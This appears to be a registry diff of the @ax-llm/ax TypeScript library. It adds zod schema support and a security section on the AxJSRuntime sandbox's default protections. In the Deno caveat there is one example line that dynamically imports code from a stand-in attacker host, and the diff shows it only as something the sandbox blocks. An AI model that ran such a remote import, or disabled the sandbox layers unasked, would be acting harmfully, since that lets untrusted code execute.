@ax-llm/ax 19.0.43 → 19.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ax-llm/ax",
3
- "version": "19.0.43",
3
+ "version": "19.0.45",
4
4
  "type": "module",
5
5
  "description": "The best library to work with LLMs",
6
6
  "repository": {
@@ -17,6 +17,14 @@
17
17
  "@opentelemetry/api": "^1.9.0",
18
18
  "dayjs": "^1.11.13"
19
19
  },
20
+ "peerDependencies": {
21
+ "zod": "^3.24.0 || ^4.0.0"
22
+ },
23
+ "peerDependenciesMeta": {
24
+ "zod": {
25
+ "optional": true
26
+ }
27
+ },
20
28
  "ava": {
21
29
  "failFast": true,
22
30
  "timeout": "180s",
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: ax-agent-optimize
3
3
  description: This skill helps an LLM generate correct AxAgent tuning and evaluation code using @ax-llm/ax. Use when the user asks about agent.optimize(...), judgeOptions, eval datasets, optimization targets, saved optimizedProgram artifacts, or recursive optimization guidance.
4
- version: "19.0.43"
4
+ version: "19.0.45"
5
5
  ---
6
6
 
7
7
  # AxAgent Optimize Codegen Rules (@ax-llm/ax)
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: ax-agent
3
3
  description: This skill helps an LLM generate correct AxAgent code using @ax-llm/ax. Use when the user asks about agent(), child agents, namespaced functions, discovery mode, shared fields, llmQuery(...), RLM code execution, recursionOptions, or agent runtime behavior. For tuning and eval with agent.optimize(...), use ax-agent-optimize.
4
- version: "19.0.43"
4
+ version: "19.0.45"
5
5
  ---
6
6
 
7
7
  # AxAgent Codegen Rules (@ax-llm/ax)
@@ -233,6 +233,23 @@ const tools = [
233
233
  .handler(async ({ topic }) => [])
234
234
  .build(),
235
235
  ];
236
+ ```
237
+
238
+ `.arg()` and `.returns()` also accept any [Standard Schema v1](https://standardschema.dev) validator (zod, valibot, arktype) directly — per-argument or a whole `z.object({...})`. The handler's argument type is inferred from the schema:
239
+
240
+ ```typescript
241
+ import { z } from 'zod';
242
+ import { fn } from '@ax-llm/ax';
243
+
244
+ const lookupUser = fn('lookupUser')
245
+ .description('Fetch a user record by id')
246
+ .arg(z.object({
247
+ userId: z.string().min(1),
248
+ includeProfile: z.boolean().optional(),
249
+ }))
250
+ .returns(z.object({ name: z.string(), email: z.string().email() }))
251
+ .handler(async ({ userId, includeProfile }) => ({ name: 'Ada', email: 'ada@example.com' }))
252
+ .build();
236
253
 
237
254
  const analyst = agent('query:string -> answer:string', {
238
255
  functions: {
@@ -593,6 +610,78 @@ console.log(topCustomers);
593
610
 
594
611
  Reason: turn 2 reuses `customers` from the persistent runtime. `Live Runtime State` or summaries may change how turn 1 is shown in the prompt, but they do not remove the value from the runtime session.
595
612
 
613
+ ## AxJSRuntime Security
614
+
615
+ Default `new AxJSRuntime()` is hardened: no network, no fs, no child_process, `import()` blocked, intrinsics frozen, `ShadowRealm` locked to `undefined`, worker IPC locked in browser/Deno, and on Node 20+ the OS Permission Model auto-engages (using `--permission` on Node 23.5+ or `--experimental-permission` on Node 20–23.4) as a second defense layer. You do not need to configure anything to get the strict profile — opt in only to the capability the user actually asked for.
616
+
617
+ **Permission enum** (`AxJSRuntimePermission`):
618
+ `NETWORK`, `STORAGE`, `CODE_LOADING`, `COMMUNICATION`, `TIMING`, `WORKERS`, `FILESYSTEM` (new), `CHILD_PROCESS` (new).
619
+
620
+ **Options quick reference** (all defaults shown are secure):
621
+
622
+ | Option | Default | Effect |
623
+ |---|---|---|
624
+ | `blockDynamicImport` | `true` | Blocks `import()` + Function/eval constructor shims. |
625
+ | `allowedModules` | `[]` | Whitelist of specifiers permitted when `blockDynamicImport` is on. |
626
+ | `freezeIntrinsics` | `true` | Freezes `Object`/`Array`/`Promise`/etc. prototypes. |
627
+ | `blockShadowRealm` | `true` | Locks `globalThis.ShadowRealm` to `undefined`. |
628
+ | `lockWorkerIPC` | `true` | Locks `self.postMessage`/`onmessage` in browser/Deno workers. |
629
+ | `preventGlobalThisExtensions` | `false` | Opt-in; breaks top-level `var/let/const` persistence across turns. |
630
+ | `useNodePermissionModel` | `'auto'` | Engages Node Permission Model on Node 20+ (`--permission` on 23.5+, `--experimental-permission` on 20–23.4); skips on older runtimes. |
631
+ | `nodePermissionAllowlist` | `undefined` | Fine-grained `{ fsRead, fsWrite, childProcess, addons, wasi }`. |
632
+ | `resourceLimits` | `undefined` | `{ maxOldGenerationSizeMb, maxYoungGenerationSizeMb, codeRangeSizeMb, stackSizeMb }`. |
633
+ | `allowDenoRemoteImport` | `false` | On Deno, controls whether `NETWORK` also grants remote module loading. |
634
+ | `allowUnsafeNodeHostAccess` | `false` | Exposes `process`/`require` in Node — trusted-code only. |
635
+
636
+ **Recipes:**
637
+
638
+ Maximum security (default):
639
+ ```ts
640
+ new AxJSRuntime();
641
+ ```
642
+
643
+ Allow fetch only:
644
+ ```ts
645
+ new AxJSRuntime({ permissions: [AxJSRuntimePermission.NETWORK] });
646
+ ```
647
+
648
+ Allow fs scoped to one directory:
649
+ ```ts
650
+ new AxJSRuntime({
651
+ permissions: [AxJSRuntimePermission.FILESYSTEM],
652
+ allowedModules: ['node:fs', 'node:fs/promises', 'node:path'],
653
+ useNodePermissionModel: 'auto',
654
+ nodePermissionAllowlist: {
655
+ fsRead: ['/app/data'],
656
+ fsWrite: ['/app/data'],
657
+ },
658
+ });
659
+ ```
660
+
661
+ Trust the code (explicit opt-out of every layer):
662
+ ```ts
663
+ new AxJSRuntime({
664
+ permissions: Object.values(AxJSRuntimePermission),
665
+ allowUnsafeNodeHostAccess: true,
666
+ blockDynamicImport: false,
667
+ blockShadowRealm: false,
668
+ freezeIntrinsics: false,
669
+ lockWorkerIPC: false,
670
+ useNodePermissionModel: false,
671
+ });
672
+ ```
673
+
674
+ **Rules for the LLM author:**
675
+
676
+ - Default to `new AxJSRuntime()` with no options unless the user asked for a specific capability.
677
+ - When the user asks for `fetch`, add `permissions: [AxJSRuntimePermission.NETWORK]` — do not disable `blockDynamicImport` as a workaround.
678
+ - When the user asks for `fs`, add both `permissions: [AxJSRuntimePermission.FILESYSTEM]` AND `allowedModules: ['node:fs', 'node:fs/promises', 'node:path']`. Scope with `nodePermissionAllowlist` when the user names a directory.
679
+ - Do not disable `freezeIntrinsics`, `blockShadowRealm`, or `lockWorkerIPC` unless the user explicitly asks — these do not trade off against any legitimate RLM use case.
680
+ - Treat `allowUnsafeNodeHostAccess: true` as a red flag; only use it when the user is authoring trusted code in their own process.
681
+ - `preventGlobalThisExtensions: true` breaks top-level `var/let/const` persistence across turns — never set it for stdout-mode RLM where persistence is load-bearing (see `RLM Actor Code Rules`).
682
+
683
+ **Deno caveat:** `blockDynamicImport` is a no-op in Deno (no `node:vm`); the defense there is the worker permission sandbox applied by default. When `NETWORK` is granted on Deno, `import` is set to `false` by default so `await import('https://attacker.example/evil.ts')` is blocked at the runtime level — pass `allowDenoRemoteImport: true` only if remote module loading is genuinely required.
684
+
596
685
  ## RLM Test Harness
597
686
 
598
687
  Use `agent.test(code, contextFieldValues?, options?)` when the user wants to validate JavaScript snippets against the actual AxAgent runtime environment without running the full Actor/Responder loop.
@@ -1200,6 +1289,23 @@ agentIdentity?: {
1200
1289
  - Consecutive error turns reset after a successful non-error turn and when checkpoint summarization refreshes to a new fingerprint.
1201
1290
  - `maxSubAgentCalls` is a shared delegated-call budget across the entire run.
1202
1291
 
1292
+ ### `AxJSRuntime` options (cross-reference)
1293
+
1294
+ Constructor options for `new AxJSRuntime(opts)`. All defaults are secure — see `## AxJSRuntime Security` for full detail and recipes.
1295
+
1296
+ - `permissions?: readonly AxJSRuntimePermission[]` — default `[]`; opt in capabilities (NETWORK, FILESYSTEM, CHILD_PROCESS, WORKERS, STORAGE, CODE_LOADING, COMMUNICATION, TIMING).
1297
+ - `blockDynamicImport?: boolean` — default `true`.
1298
+ - `allowedModules?: readonly string[]` — default `[]`.
1299
+ - `freezeIntrinsics?: boolean` — default `true`.
1300
+ - `blockShadowRealm?: boolean` — default `true`.
1301
+ - `lockWorkerIPC?: boolean` — default `true`.
1302
+ - `preventGlobalThisExtensions?: boolean` — default `false` (opt-in; breaks persistence).
1303
+ - `useNodePermissionModel?: boolean | 'auto'` — default `'auto'`.
1304
+ - `nodePermissionAllowlist?: { fsRead?; fsWrite?; childProcess?; addons?; wasi? }`.
1305
+ - `resourceLimits?: { maxOldGenerationSizeMb?; maxYoungGenerationSizeMb?; codeRangeSizeMb?; stackSizeMb? }`.
1306
+ - `allowDenoRemoteImport?: boolean` — default `false`.
1307
+ - `allowUnsafeNodeHostAccess?: boolean` — default `false`.
1308
+
1203
1309
  ## Observability: getChatLog() and getUsage()
1204
1310
 
1205
1311
  `AxAgent` exposes two sub-programs (Actor and Responder). Both `getChatLog()` and `getUsage()` return an object split by role — unlike `AxGen`, which returns a flat array.
package/skills/ax-ai.md CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: ax-ai
3
3
  description: This skill helps an LLM generate correct AI provider setup and configuration code using @ax-llm/ax. Use when the user asks about ai(), providers, models, presets, embeddings, extended thinking, context caching, or mentions OpenAI/Anthropic/Google/Azure/Groq/DeepSeek/Mistral/Cohere/Together/Ollama/HuggingFace/Reka/OpenRouter with @ax-llm/ax.
4
- version: "19.0.43"
4
+ version: "19.0.45"
5
5
  ---
6
6
 
7
7
  # AI Provider Codegen Rules (@ax-llm/ax)
package/skills/ax-flow.md CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: ax-flow
3
3
  description: This skill helps an LLM generate correct AxFlow workflow code using @ax-llm/ax. Use when the user asks about flow(), AxFlow, workflow orchestration, parallel execution, DAG workflows, conditional routing, map/reduce patterns, or multi-node AI pipelines.
4
- version: "19.0.43"
4
+ version: "19.0.45"
5
5
  ---
6
6
 
7
7
  # AxFlow Codegen Rules (@ax-llm/ax)
package/skills/ax-gen.md CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: ax-gen
3
3
  description: This skill helps an LLM generate correct AxGen code using @ax-llm/ax. Use when the user asks about ax(), AxGen, generators, forward(), streamingForward(), assertions, field processors, step hooks, self-tuning, or structured outputs.
4
- version: "19.0.43"
4
+ version: "19.0.45"
5
5
  ---
6
6
 
7
7
  # AxGen Codegen Rules (@ax-llm/ax)
@@ -47,6 +47,57 @@ const result = await gen.forward(llm, { input: 'Hello world' });
47
47
  console.log(result.output);
48
48
  ```
49
49
 
50
+ ### Signatures from zod / valibot / arktype
51
+
52
+ `ax()` accepts any signature built with `f()`, and `f().input()` / `.output()` accept [Standard Schema v1](https://standardschema.dev) validators directly — per-field or a whole `z.object({...})`:
53
+
54
+ ```typescript
55
+ import { z } from 'zod';
56
+ import { ax, f } from '@ax-llm/ax';
57
+
58
+ const gen = ax(
59
+ f()
60
+ .input(z.object({
61
+ productName: z.string(),
62
+ buyerProfile: z.string(),
63
+ }))
64
+ .output(z.object({
65
+ headline: z.string(),
66
+ recommendation: z.enum(['buy', 'wait', 'skip']),
67
+ }))
68
+ .build()
69
+ );
70
+ ```
71
+
72
+ Constraints (`.min()`, `.email()`, `.regex()`) and custom logic (`.refine()`, `.transform()`, `.superRefine()`) execute in the normal validation/retry pipeline — at parse time on complete field values, including at field boundaries during streaming. For cache/internal hints pass companion options: `.input('ctx', z.string(), { cache: true })` or `.output('reasoning', z.string(), { internal: true })`.
73
+
74
+ Define tool functions with zod the same way — `fn().arg()` / `.returns()` accept per-argument or whole-object schemas and infer the handler's argument type:
75
+
76
+ ```typescript
77
+ import { z } from 'zod';
78
+ import { ax, fn } from '@ax-llm/ax';
79
+
80
+ const lookupProduct = fn('lookupProduct')
81
+ .description('Look up a product by name')
82
+ .arg(z.object({
83
+ productName: z.string().min(1),
84
+ includeSpecs: z.boolean().optional(),
85
+ }))
86
+ .returns(z.object({
87
+ price: z.number(),
88
+ inStock: z.boolean(),
89
+ rating: z.number().min(1).max(5),
90
+ }))
91
+ .handler(async ({ productName, includeSpecs }) => ({
92
+ price: 79.99,
93
+ inStock: true,
94
+ rating: 4.3,
95
+ }))
96
+ .build();
97
+
98
+ const result = await gen.forward(llm, { ... }, { functions: [lookupProduct] });
99
+ ```
100
+
50
101
  ## Running AxGen
51
102
 
52
103
  ### `forward()`
package/skills/ax-gepa.md CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: ax-gepa
3
3
  description: This skill helps an LLM generate correct AxGEPA optimization code using @ax-llm/ax. Use when the user asks about AxGEPA, GEPA, Pareto optimization, multi-objective prompt tuning, reflective prompt evolution, validationExamples, maxMetricCalls, or optimizing a generator, flow, or agent tree.
4
- version: "19.0.43"
4
+ version: "19.0.45"
5
5
  ---
6
6
 
7
7
  # AxGEPA Codegen Rules (@ax-llm/ax)
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: ax-learn
3
3
  description: This skill helps an LLM generate correct AxLearn code using @ax-llm/ax. Use when the user asks about self-improving agents, trace-backed learning, feedback-aware updates, or AxLearn modes.
4
- version: "19.0.43"
4
+ version: "19.0.45"
5
5
  ---
6
6
 
7
7
  # AxLearn Codegen Rules (@ax-llm/ax)
package/skills/ax-llm.md CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: ax
3
3
  description: This skill helps with using the @ax-llm/ax TypeScript library for building LLM applications. Use when the user asks about ax(), ai(), f(), s(), agent(), flow(), AxGen, AxAgent, AxFlow, signatures, streaming, or mentions @ax-llm/ax.
4
- version: "19.0.43"
4
+ version: "19.0.45"
5
5
  ---
6
6
 
7
7
  # Ax Library (@ax-llm/ax) Quick Reference
@@ -15,6 +15,7 @@ Ax is a TypeScript library for building LLM-powered applications with type-safe
15
15
  ```typescript
16
16
  // Prefer factory functions: ax(), ai(), agent(), flow() — not new AxGen(), new AxAI(), etc.
17
17
  import { ax, ai, f, s, fn, agent, flow, AxMemory, AxMCPClient, AxLearn } from '@ax-llm/ax';
18
+ import { z } from 'zod'; // optional — any Standard Schema v1 library works
18
19
 
19
20
  // AI provider
20
21
  const llm = ai({ name: 'openai', apiKey: process.env.OPENAI_APIKEY });
@@ -30,6 +31,14 @@ const gen = ax(
30
31
  .build()
31
32
  );
32
33
 
34
+ // Generator (from zod — Standard Schema v1, also works with valibot/arktype)
35
+ const zodGen = ax(
36
+ f()
37
+ .input(z.object({ question: z.string().describe('User question') }))
38
+ .output(z.object({ answer: z.string().describe('AI response') }))
39
+ .build()
40
+ );
41
+
33
42
  // Reusable signature
34
43
  const sig = s('question:string, context:string[] -> answer:string');
35
44
 
@@ -45,13 +54,24 @@ const wf = flow<{ input: string }, { output: string }>()
45
54
  .execute('step1', (state) => ({ input: state.input }))
46
55
  .returns((state) => ({ output: state.step1Result.output }));
47
56
 
48
- // Function tool
57
+ // Function tool — native fluent
49
58
  const tool = fn('search')
50
59
  .description('Search the web')
51
60
  .arg('query', f.string('Search query'))
52
61
  .returns(f.string('Search results'))
53
62
  .handler(({ query }) => searchWeb(query))
54
63
  .build();
64
+
65
+ // Function tool — zod schema (Standard Schema v1: also works with valibot, arktype)
66
+ const zodTool = fn('calculateTax')
67
+ .description('Calculate tax for an amount')
68
+ .arg(z.object({
69
+ amount: z.number().positive().describe('Pre-tax amount in USD'),
70
+ region: z.enum(['US', 'EU', 'UK']).describe('Tax region'),
71
+ }))
72
+ .returns(z.object({ tax: z.number(), total: z.number() }))
73
+ .handler(async ({ amount }) => ({ tax: amount * 0.1, total: amount * 1.1 }))
74
+ .build();
55
75
  ```
56
76
 
57
77
  ## Running
@@ -287,6 +307,7 @@ class AxFlow<IN, OUT> {
287
307
 
288
308
  Fetch these for full working code:
289
309
 
310
+ - [Standard Schema (zod)](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/standard-schema.ts) — zod with f() and fn()
290
311
  - [Chat](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/chat.ts) — multi-turn conversation
291
312
  - [Marketing](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/marketing.ts) — product use case
292
313
  - [MCP Integration](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/mcp-client-memory.ts) — MCP integration
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: ax-signature
3
3
  description: This skill helps an LLM generate correct DSPy signature code using @ax-llm/ax. Use when the user asks about signatures, s(), f(), field types, string syntax, fluent builder API, validation constraints, or type-safe inputs/outputs.
4
- version: "19.0.43"
4
+ version: "19.0.45"
5
5
  ---
6
6
 
7
7
  # Ax Signature Reference
@@ -37,7 +37,7 @@ version: "19.0.43"
37
37
  'problem:string -> reasoning!:string, solution:string' // internal with !
38
38
  ```
39
39
 
40
- ## Three Ways to Create Signatures
40
+ ## Four Ways to Create Signatures
41
41
 
42
42
  ### 1. String-Based (Recommended for simple cases)
43
43
 
@@ -61,7 +61,109 @@ const sig = f()
61
61
  .build();
62
62
  ```
63
63
 
64
- ### 3. Hybrid
64
+ ### 3. Standard Schema (zod / valibot / arktype)
65
+
66
+ `.input()` and `.output()` accept any [Standard Schema v1](https://standardschema.dev) compatible library — no wrapper, no adapter. Three shapes work everywhere:
67
+
68
+ ```typescript
69
+ import { z } from 'zod';
70
+ import { f } from '@ax-llm/ax';
71
+
72
+ // Shape A: per-field schema — name first, then the schema, then optional ax hints
73
+ const sig = f()
74
+ .input('contextData', z.string().describe('Background context'), { cache: true })
75
+ .input('userQuestion', z.string().describe('Question to answer'))
76
+ .output('reasoning', z.string().describe('Step-by-step thinking'), { internal: true })
77
+ .output('answer', z.string().describe('Final answer'))
78
+ .build();
79
+
80
+ // Shape B: whole-object schema — decomposed into fields in declaration order
81
+ const sig2 = f()
82
+ .description('Answer questions from retrieved context')
83
+ .input(
84
+ z.object({
85
+ contextData: z.string().describe('Background context'),
86
+ userQuestion: z.string().describe('Question to answer'),
87
+ }),
88
+ { fields: { contextData: { cache: true } } } // companion options map
89
+ )
90
+ .output(
91
+ z.object({
92
+ reasoning: z.string().describe('Step-by-step thinking'),
93
+ answer: z.string().describe('Final answer'),
94
+ }),
95
+ { fields: { reasoning: { internal: true } } }
96
+ )
97
+ .build();
98
+ ```
99
+
100
+ Validation constraints from zod flow into ax's prompt validation:
101
+
102
+ ```typescript
103
+ // String constraints: .email(), .url(), .min(), .max(), .regex()
104
+ // Number constraints: .min(), .max()
105
+ // Arrays: z.array(z.string())
106
+ // Enums: z.enum([...]) — NOTE: enum maps to ax class type, output fields only
107
+ const sig3 = f()
108
+ .input(z.object({
109
+ emailAddress: z.string().email().describe('Contact email'),
110
+ username: z.string().min(3).max(20).describe('Handle'),
111
+ score: z.number().min(0).max(100).describe('Numeric score'),
112
+ }))
113
+ .output(z.object({
114
+ priority: z.enum(['low', 'medium', 'high']).describe('Priority'),
115
+ summary: z.string().describe('Result'),
116
+ }))
117
+ .build();
118
+ ```
119
+
120
+ **Companion options** (`AxFieldOptions`) carry ax-specific hints that schema libraries don't represent:
121
+
122
+ | Option | Effect |
123
+ |--------|--------|
124
+ | `{ cache: true }` | Mark input field as a prefix-cache breakpoint |
125
+ | `{ internal: true }` | Mark output field as internal scratchpad (stripped from result) |
126
+
127
+ The same Standard Schema shapes work on `fn()` tools via `.arg()`, `.returns()`, and `.returnsField()` — argument types are inferred from the schema:
128
+
129
+ ```typescript
130
+ import { z } from 'zod';
131
+ import { fn } from '@ax-llm/ax';
132
+
133
+ // Whole-object zod on a tool — AI-SDK-style
134
+ const lookupProduct = fn('lookupProduct')
135
+ .description('Look up a product by name and return its current details')
136
+ .arg(
137
+ z.object({
138
+ productName: z.string().min(1).describe('Exact product name'),
139
+ includeSpecs: z.boolean().optional(),
140
+ })
141
+ )
142
+ .returns(
143
+ z.object({
144
+ price: z.number(),
145
+ inStock: z.boolean(),
146
+ rating: z.number().min(1).max(5),
147
+ })
148
+ )
149
+ .handler(async ({ productName, includeSpecs }) => ({
150
+ price: 79.99,
151
+ inStock: true,
152
+ rating: 4.3,
153
+ }))
154
+ .build();
155
+
156
+ // Per-argument form — mix with f.*() args, attach ax hints
157
+ const searchDocs = fn('searchDocs')
158
+ .description('Search indexed docs')
159
+ .arg('query', z.string().min(1), { cache: true })
160
+ .arg('limit', z.number().int().positive().optional())
161
+ .returnsField('results', z.array(z.string()))
162
+ .handler(async ({ query }) => [])
163
+ .build();
164
+ ```
165
+
166
+ ### 4. Hybrid
65
167
 
66
168
  ```typescript
67
169
  import { s, f } from '@ax-llm/ax';
@@ -178,15 +280,18 @@ Bad: `text`, `data`, `input`, `output`, `a`, `x`, `val` (too generic), `1field`
178
280
  - Use `f()` fluent builder, NOT nested `f.array(f.string())` -- those are removed.
179
281
  - Field names must be descriptive (not generic like `text`, `data`, `input`).
180
282
  - Media types are input-only, top-level only.
181
- - `.internal()` is output-only (for chain-of-thought reasoning).
182
- - `.cache()` is input-only (for prompt caching).
283
+ - `.internal()` / `{ internal: true }` is output-only (for chain-of-thought reasoning).
284
+ - `.cache()` / `{ cache: true }` is input-only (for prompt caching).
183
285
  - Validation errors trigger auto-retry with correction feedback.
184
286
  - `f.email()`, `f.url()`, `f.date()`, `f.datetime()` are shorthand for `f.string().email()` etc.
287
+ - `z.enum()` maps to ax's `class` type — only valid on **output** fields.
288
+ - For multimodal inputs (images, audio, files) use `f.image()` / `f.audio()` / `f.file()` — zod has no equivalent.
185
289
 
186
290
  ## Examples
187
291
 
188
292
  Fetch these for full working code:
189
293
 
190
- - [Fluent Signature](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/fluent-signature-example.ts) — fluent f() API
294
+ - [Standard Schema (zod)](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/standard-schema.ts) — zod with f() and fn(), all three shapes
295
+ - [Fluent Signature](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/fluent-signature-example.ts) — native fluent f() API
191
296
  - [Structured Output](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/structured_output.ts) — structured output with validation
192
297
  - [Debug Schema](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/debug_schema.ts) — JSON schema validation